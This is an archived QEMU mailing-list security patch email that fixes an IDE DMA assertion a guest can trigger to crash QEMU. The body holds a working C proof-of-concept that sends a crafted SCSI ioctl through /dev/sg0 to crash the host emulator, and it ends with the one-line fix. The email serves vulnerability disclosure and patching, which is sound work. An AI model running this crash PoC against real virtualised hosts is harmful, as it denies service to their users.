From nobody Sat May 18 06:50:33 2024 Delivered-To: importer@patchew.org Received-SPF: pass (zoho.com: domain of gnu.org designates 209.51.188.17 as permitted sender) client-ip=209.51.188.17; envelope-from=qemu-devel-bounces+importer=patchew.org@nongnu.org; helo=lists.gnu.org; Authentication-Results: mx.zohomail.com; spf=pass (zoho.com: domain of gnu.org designates 209.51.188.17 as permitted sender) smtp.mailfrom=qemu-devel-bounces+importer=patchew.org@nongnu.org ARC-Seal: i=1; a=rsa-sha256; t=1562337872; cv=none; d=zoho.com; s=zohoarc; b=nGs1aCOCEXL44eu0U4YMnBn86L09YQd0bxn0YycOx6+Zhdqj5OcdyZzDvPc7STRgGOxuQ5Jox0XWIQvaGcgUZxNET8S5Pn+BFwyq2256YYpNp8vJxGVkkxeZecAt24K+5XsYbe8cPGuVyisV8uqeKr9Qh18Yd9feS79KoGKzIDU= ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=zoho.com; s=zohoarc; t=1562337872; h=Date:From:List-Subscribe:List-Post:List-Id:List-Archive:List-Help:List-Unsubscribe:Message-ID:Sender:Subject:To:ARC-Authentication-Results; bh=isMJDTAnfZgWdLOw8d367N2Ss2BSvcqEi2CrNYGG5dM=; b=HvOSLSw+ISLzgQOMbWv2iPL8aio6PrTbRGOD0zIGTP28IW6ExXt997aVWu0Bs1kNfg3JD4b4K8EBUTdDxKGIJIfIQV7aG79IY6GfGtxTxEqv+ZGQJkdBsZRvv96nmuGPyfp2eP0xg5i5C/cQ1WZNZAsgQvFWFtuFvO4jCq5yoiY= ARC-Authentication-Results: i=1; mx.zoho.com; spf=pass (zoho.com: domain of gnu.org designates 209.51.188.17 as permitted sender) smtp.mailfrom=qemu-devel-bounces+importer=patchew.org@nongnu.org Return-Path: Received: from lists.gnu.org (209.51.188.17 [209.51.188.17]) by mx.zohomail.com with SMTPS id 1562337872085371.2005570155533; Fri, 5 Jul 2019 07:44:32 -0700 (PDT) Received: from localhost ([::1]:53844 helo=lists1p.gnu.org) by lists.gnu.org with esmtp (Exim 4.86_2) (envelope-from ) id 1hjPRg-0006oi-Oe for importer@patchew.org; Fri, 05 Jul 2019 10:44:16 -0400 Received: from eggs.gnu.org ([2001:470:142:3::10]:46200) by lists.gnu.org with esmtp (Exim 4.86_2) (envelope-from ) id 1hjOsr-0001A0-2R for qemu-devel@nongnu.org; Fri, 05 Jul 2019 10:08:19 -0400 Received: from Debian-exim by eggs.gnu.org with spam-scanned (Exim 4.71) (envelope-from ) id 1hjOso-0006X0-8M for qemu-devel@nongnu.org; Fri, 05 Jul 2019 10:08:15 -0400 Received: from mail-lf1-f66.google.com ([209.85.167.66]:41390) by eggs.gnu.org with esmtps (TLS1.0:RSA_AES_128_CBC_SHA1:16) (Exim 4.71) (envelope-from ) id 1hjOsi-0005Yo-DH; Fri, 05 Jul 2019 10:08:09 -0400 Received: by mail-lf1-f66.google.com with SMTP id 62so6422907lfa.8; Fri, 05 Jul 2019 07:08:01 -0700 (PDT) Received: from hobbit.lan (95-28-29-40.broadband.corbina.ru. [95.28.29.40]) by smtp.gmail.com with ESMTPSA id p21sm1098298lfc.41.2019.07.05.07.07.58 (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Fri, 05 Jul 2019 07:07:59 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20161025; h=x-gm-message-state:from:to:subject:date:message-id; bh=isMJDTAnfZgWdLOw8d367N2Ss2BSvcqEi2CrNYGG5dM=; b=ozJRLeWD3b2wGRC5EUhCGJyBwOCe6oxkGPVPu7z0C1ZUtWLNzPZEDS8rKRuax+fYxu 3TnGQgPWaCErTFzcVCgNfBpCNDCNOHtTBHUzyg2hH0ASKfHPz1MV/BO+0Uli9/RzTggS 9um4j4Y7sCpPg5eXBdj4xGlM9y7eifKRfzG7l6DeRj4vkfQBaMNnYhOvctV2f9B6eA4C j8pK4+lLOxZ+xa1GhpjAXnbdLmjGW6UpHL1kVhYTDw0eHyk+LFZcuJuzlf37SywmGNZ6 WUyPuuUJEy+KQa48sUwWMB/pGLyBIlHTv6fvIl2rVJV21ni3kexjzCOHyV7cX6ycM6gX 1/ew== X-Gm-Message-State: APjAAAVdlnj39vlc7yQUtWcCqzg5r0ULU/l95dhbW5PlS5AS2u1yqMVl 6+UlV7ZHfXQna32ksFJ2pPM= X-Google-Smtp-Source: APXvYqx4GrlhQWRxzNKozoRLB24nQhBogFgYgJc9OPAkM0JAAayatoCnuq8RrJGKT9H8j+CQbCop4A== X-Received: by 2002:a19:ec15:: with SMTP id b21mr2311417lfa.32.1562335680324; Fri, 05 Jul 2019 07:08:00 -0700 (PDT) From: Alexander Popov To: John Snow , qemu-block@nongnu.org, qemu-devel@nongnu.org, qemu-stable@nongnu.org, mst@redhat.com, pmatouse@redhat.com, sstabellini@kernel.org, mdroth@linux.vnet.ibm.com, pjp@redhat.com, alex.popov@linux.com Date: Fri, 5 Jul 2019 17:07:49 +0300 Message-Id: <1562335669-10127-1-git-send-email-alex.popov@linux.com> X-Mailer: git-send-email 2.7.4 X-detected-operating-system: by eggs.gnu.org: GNU/Linux 2.2.x-3.x [generic] [fuzzy] X-Received-From: 209.85.167.66 X-Mailman-Approved-At: Fri, 05 Jul 2019 10:42:17 -0400 Subject: [Qemu-devel] [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest X-BeenThere: qemu-devel@nongnu.org X-Mailman-Version: 2.1.23 Precedence: list List-Id: List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Errors-To: qemu-devel-bounces+importer=patchew.org@nongnu.org Sender: "Qemu-devel" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" This assertion was introduced in the commit a718978ed58a in July 2015. It implies that the size of successful DMA transfers handled in ide_dma_cb() should be multiple of 512 (the size of a sector). But guest systems can initiate DMA transfers that don't fit this requirement. Let's improve the assertion to prevent qemu DoS from quests. PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA command and crash qemu: #include #include #include #include #include #include #include #include #include #include #define CMD_SIZE 2048 struct scsi_ioctl_cmd_6 { unsigned int inlen; unsigned int outlen; unsigned char cmd[6]; unsigned char data[]; }; int main(void) { intptr_t fd =3D 0; struct scsi_ioctl_cmd_6 *cmd =3D NULL; cmd =3D malloc(CMD_SIZE); if (!cmd) { perror("[-] malloc"); return 1; } memset(cmd, 0, CMD_SIZE); cmd->inlen =3D 1337; cmd->cmd[0] =3D READ_6; fd =3D open("/dev/sg0", O_RDONLY); if (fd =3D=3D -1) { perror("[-] opening sg"); return 1; } printf("[+] sg0 is opened\n"); printf("[.] qemu should break here:\n"); fflush(stdout); ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd); printf("[-] qemu didn't break\n"); free(cmd); return 1; } Signed-off-by: Alexander Popov --- hw/ide/core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/hw/ide/core.c b/hw/ide/core.c index 6afadf8..304fe69 100644 --- a/hw/ide/core.c +++ b/hw/ide/core.c @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret) =20 sector_num =3D ide_get_sector(s); if (n > 0) { - assert(n * 512 =3D=3D s->sg.size); + assert(n =3D=3D s->sg.size / 512); dma_buf_commit(s, s->sg.size); sector_num +=3D n; ide_set_sector(s, sector_num); --=20 2.7.4